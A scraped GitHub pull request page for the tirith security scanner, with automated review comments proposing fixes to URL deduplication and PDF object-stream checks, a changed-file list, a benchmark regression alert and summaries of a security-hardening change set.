exact_url_matchedis only set inside thechecked_urls.insert(...)branch. When the same URL appears twice inextracted, the second iteration skips that branch, soexact_url_matchedstaysfalseand the hostname lookup at Line 1272 runs again. The command then reports one exact-URL finding plus one hostname finding for the same URL, which is the duplicate the dedupe intends to prevent. Record the match result per URL instead of a bare set.🐛 Proposed fix: remember the lookup result per URL
- let mut checked_urls = std::collections::HashSet::new(); + let mut checked_urls: std::collections::HashMap<String, bool> = std::collections::HashMap::new(); for url_info in extracted { let canonical_url = url_info.raw.trim(); let mut exact_url_matched = false; - if !canonical_url.is_empty() && checked_urls.insert(canonical_url.to_string()) { + if let Some(previous) = checked_urls.get(canonical_url) { + exact_url_matched = *previous; + } else if !canonical_url.is_empty() { if let Some(source) = db.check_malicious_url(canonical_url) { exact_url_matched = true; findings.push(Finding { @@ }); } + checked_urls.insert(canonical_url.to_string(), exact_url_matched); }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/rules/threatintel.rs` around lines 1243 - 1272, Replace the bare URL deduplication state used around the exact-match logic with per-URL match-result storage. Update the flow surrounding the exact URL lookup and hostname check so repeated URLs reuse whether the first lookup matched, keeping hostname findings suppressed whenever the exact URL was previously matched while preserving normal processing for non-matches.crates/tirith-core/src/rules/rendered.rs-739-794 (1)
739-794: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winConstrain
/ObjStmmatching and add regression coverage.
pdf_objstm_max_hidden_nestingappliesZlibDecoderto every raw/ObjStmsubstring. Valid/LZWDecodeor encrypted object streams, and/ObjStmdata inside strings or unrelated streams, can therefore produce a blockingAnalysisIncompletefinding. Add tests for these cases. If rejection is not intentional, match actual object-stream dictionaries and honor their filter state.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@crates/tirith-core/src/rules/rendered.rs` around lines 739 - 794, Update pdf_objstm_max_hidden_nesting to inspect only actual object-stream dictionaries, excluding /ObjStm text inside strings, unrelated streams, and streams whose filter is not supported by the ZlibDecoder (such as /LZWDecode or encrypted streams). Preserve fail-closed behavior for malformed or unverifiable object streams, and add regression tests covering each excluded case.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Repository UI
Review profile: CHILL
Plan: Pro
Run ID: 5d204c2c-9c02-42f7-b4fa-c5507e93fac2
⛔ Files ignored due to path filters (1)
Cargo.lockis excluded by!**/*.lock
📒 Files selected for processing (79)
.cargo/audit.tomlcrates/tirith-core/Cargo.tomlcrates/tirith-core/assets/data/rule_explanations.tomlcrates/tirith-core/build.rscrates/tirith-core/src/aliases.rscrates/tirith-core/src/artifact/release_diff.rscrates/tirith-core/src/artifact/wheel.rscrates/tirith-core/src/audit_aggregator.rscrates/tirith-core/src/audit_upload.rscrates/tirith-core/src/baseline.rscrates/tirith-core/src/blast_radius.rscrates/tirith-core/src/canary.rscrates/tirith-core/src/capsule/windows.rscrates/tirith-core/src/checkpoint.rscrates/tirith-core/src/commands_manifest.rscrates/tirith-core/src/context_detect.rscrates/tirith-core/src/deobfuscate.rscrates/tirith-core/src/dep_confusion.rscrates/tirith-core/src/devcontainer_writer.rscrates/tirith-core/src/ecosystem_scan.rscrates/tirith-core/src/engine.rscrates/tirith-core/src/env_guard.rscrates/tirith-core/src/escalation.rscrates/tirith-core/src/execution_state.rscrates/tirith-core/src/extract.rscrates/tirith-core/src/hygiene.rscrates/tirith-core/src/iac_plan.rscrates/tirith-core/src/incident.rscrates/tirith-core/src/license.rscrates/tirith-core/src/lsp_profiles.rscrates/tirith-core/src/mcp/content.rscrates/tirith-core/src/mcp/output_filter.rscrates/tirith-core/src/mcp/resources.rscrates/tirith-core/src/mcp/response_inspect.rscrates/tirith-core/src/mcp/tools.rscrates/tirith-core/src/mcp_lock.rscrates/tirith-core/src/network/dns.rscrates/tirith-core/src/network/shorturl.rscrates/tirith-core/src/normalize.rscrates/tirith-core/src/osv_correlation.rscrates/tirith-core/src/path_audit.rscrates/tirith-core/src/persistence.rscrates/tirith-core/src/policy.rscrates/tirith-core/src/policy_client.rscrates/tirith-core/src/provenance/graph.rscrates/tirith-core/src/receipt.rscrates/tirith-core/src/registry_api.rscrates/tirith-core/src/registry_history.rscrates/tirith-core/src/repo_mismatch.rscrates/tirith-core/src/rules/cloaking.rscrates/tirith-core/src/rules/codefile.rscrates/tirith-core/src/rules/context.rscrates/tirith-core/src/rules/credential.rscrates/tirith-core/src/rules/install.rscrates/tirith-core/src/rules/output.rscrates/tirith-core/src/rules/path.rscrates/tirith-core/src/rules/prompt_injection.rscrates/tirith-core/src/rules/rendered.rscrates/tirith-core/src/rules/shared.rscrates/tirith-core/src/rules/terminal.rscrates/tirith-core/src/rules/threatintel.rscrates/tirith-core/src/scan.rscrates/tirith-core/src/scoring.rscrates/tirith-core/src/script_analysis.rscrates/tirith-core/src/session.rscrates/tirith-core/src/session_warnings.rscrates/tirith-core/src/taint.rscrates/tirith-core/src/threatdb.rscrates/tirith-core/src/threatdb_api.rscrates/tirith-core/src/threatdb_feeds.rscrates/tirith-core/src/util/contained_fs.rscrates/tirith-core/src/verdict.rscrates/tirith-core/src/webhook.rscrates/tirith-core/tests/golden_fixtures.rscrates/tirith/src/cli/codespaces.rscrates/tirith/src/cli/devcontainer.rscrates/tirith/src/cli/package.rscrates/tirith/src/cli/provenance.rsdeny.toml
e08daad to
adf59b3
Compare
3bbd568 to
00bab72
Compare
![github-actions[bot]](https://avatars.githubusercontent.com/in/15368?s=60&v=4){kind=small}
There was a problem hiding this comment.
⚠️ Performance Alert ⚠️
Possible performance regression was detected for benchmark 'tirith benchmarks'.
Benchmark result of this commit is worse than the previous benchmark result exceeding threshold 1.15.
| Benchmark suite | Current: 00bab72 | Previous: 7a58c55 | Ratio |
|---|---|---|---|
full_analysis_obfuscated_output |
32568 ns/iter (± 521) |
24990 ns/iter (± 367) |
1.30 |
This comment was automatically generated by workflow using github-action-benchmark.
1 participant
Summary
DeepSec R2, part 1 of 2. The R2 queue shipped as a single 130-file commit (#180), over the review size limit, and is now two commits whose combined result is byte-identical to the original. This PR carries the core half (80 files): all tirith-core changes from the R2 queue (bounded manifest, OSV, and PDF work including the flate2 compressed-object-stream preflight that closes the lopdf bypass, command and policy parsing, filesystem and state locks, network and MCP budgets, feed and threatdb bounds), the coupled Cargo manifest, lockfile, deny.toml and cargo-audit waiver updates, and the four CLI files that consume changed core APIs (package, provenance, codespaces, devcontainer).
Verification
At this head, locally on macOS stable: cargo fmt --all --check clean, cargo check --workspace --all-targets with 0 errors, cargo test -p tirith-core --lib with 4396 passed, 0 failed, 2 ignored. The stack tip is byte-identical to the pre-split R2 tip, which carries the original verification.
Stack
Summary by CodeRabbit
Greptile Summary
The PR applies the core half of the DeepSec R2 hardening queue, adding bounded analysis, safer parsing and filesystem operations, stronger state synchronization, and updated security dependencies.
<<or<<-.Confidence Score: 5/5
The PR appears safe to merge.
No blocking failure remains.
Important Files Changed
Reviews (3): Last reviewed commit: "fix(security): integrate DeepSec R2 core..." | Re-trigger Greptile
Context used: